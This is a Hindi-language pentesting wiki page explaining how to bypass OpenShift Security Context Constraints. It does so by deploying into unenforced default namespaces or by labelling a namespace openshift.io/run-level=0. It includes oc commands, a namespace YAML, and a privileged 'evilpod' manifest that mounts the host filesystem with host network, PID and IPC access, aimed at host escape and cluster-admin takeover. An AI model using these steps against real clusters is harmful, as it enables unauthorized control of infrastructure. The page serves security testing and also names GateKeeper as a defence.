OpenShift - SCC bypass

इस पेज के मूल लेखक हैं Guillaume

विशेषाधिकारित नेमस्पेस

डिफ़ॉल्ट रूप से, SCC निम्नलिखित परियोजनाओं पर लागू नहीं होता है:

• default

• kube-system

• kube-public

• openshift-node

• openshift-infra

• openshift

यदि आप इनमें से किसी नेमस्पेस में पॉड डिप्लॉय करते हैं, तो कोई SCC प्रवर्तित नहीं किया जाएगा, जिससे विशेषाधिकृत पॉड डिप्लॉय किया जा सकता है या होस्ट फ़ाइल सिस्टम को माउंट किया जा सकता है।

नेमस्पेस लेबल

RedHat दस्तावेज़ के अनुसार, आपके पॉड पर SCC एप्लिकेशन को अक्षम करने का एक तरीका है। आपके पास निम्नलिखित अनुमति में से कम से कम एक होनी चाहिए:

• एक नेमस्पेस बनाएं और इस नेमस्पेस पर एक पॉड बनाएं

• एक नेमस्पेस संपादित करें और इस नेमस्पेस पर एक पॉड बनाएं

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

विशिष्ट लेबल openshift.io/run-level उपयोगकर्ताओं को एप्लिकेशन्स के लिए SCCs को दायर करने की अनुमति देता है। RedHat दस्तावेज़ के अनुसार, जब इस लेबल का उपयोग किया जाता है, तो उस नेमस्पेस के सभी पॉड्स पर कोई SCC प्रवर्तित नहीं किया जाता है, जिससे किसी भी प्रतिबंध को हटा दिया जाता है।

लेबल जोड़ें

अपने नेमस्पेस में लेबल जोड़ने के लिए:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

एक नेमस्पेस लेबल के साथ एक YAML फ़ाइल के माध्यम से बनाने के लिए:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

अब, नेमस्पेस पर बनाए गए सभी नए पॉड्स के पास कोई भी SCC नहीं होना चाहिए

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

SCC की अनुपस्थिति में, आपके पॉड परिभाषण पर कोई प्रतिबंध नहीं होता। इसका मतलब है कि एक हानिकारक पॉड आसानी से होस्ट सिस्टम पर भाग निकल सकता है।

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

अब, यह उन्नतियों को उच्चाधिकार तक बढ़ाना आसान हो गया है ताकि मेज़बान सिस्टम तक पहुंचा जा सके और उसके बाद पूरे क्लस्टर को हासिल किया जा सके, 'क्लस्टर-व्यवस्थापक' अधिकार प्राप्त करते हुए। Node-Post Exploitation भाग के लिए निम्नलिखित पृष्ठ में देखें:

Attacking Kubernetes from inside a Pod

कस्टम लेबल

इसके अतिरिक्त, लक्षित सेटअप पर आधारित, कुछ कस्टम लेबल / एनोटेशन भी पिछले हमले के स्थिति के तरीके से उपयोग किए जा सकते हैं। यद्यपि यह उद्देश्य के लिए नहीं है, तो लेबल को अनुमतियाँ देने, प्रतिबंधित करने या किसी विशेष संसाधन को न करने के लिए उपयोग किया जा सकता है।

यदि आप कुछ संसाधन पढ़ सकते हैं तो कस्टम लेबल खोजने का प्रयास करें। यहाँ कुछ दिलचस्प संसाधनों की सूची है:

• पॉड

• डिप्लॉयमेंट

• नेमस्पेस

• सेवा

• रूट

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

सभी विशेषाधिकार वाले नेमस्पेस की सूची

$ oc get project -o yaml | grep 'run-level' -b5

उन्नत उत्पीड़न

OpenShift में, जैसा पहले प्रदर्शित किया गया, openshift.io/run-level लेबल वाले नेमस्पेस में पॉड डिप्लॉय करने की अनुमति होने से क्लस्टर का सीधा अधिकार लेना संभव है। क्लस्टर सेटिंग्स के दृष्टिकोण से, यह कार्यक्षमता अक्षम की जा सकती है, क्योंकि यह OpenShift के डिज़ाइन में निहित है।

हालांकि, Open Policy Agent GateKeeper जैसी सुरक्षा उपाय उपयोगकर्ताओं को इस लेबल को सेट करने से रोक सकती है।

GateKeeper के नियमों को अनदेखा करने और इस लेबल को सेट करने के लिए क्लस्टर अधिकार लेने के लिए, हमलावरों को वैकल्पिक तरीके की पहचान करनी होगी।

संदर्भ

• https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html

• https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html

• https://github.com/open-policy-agent/gatekeeper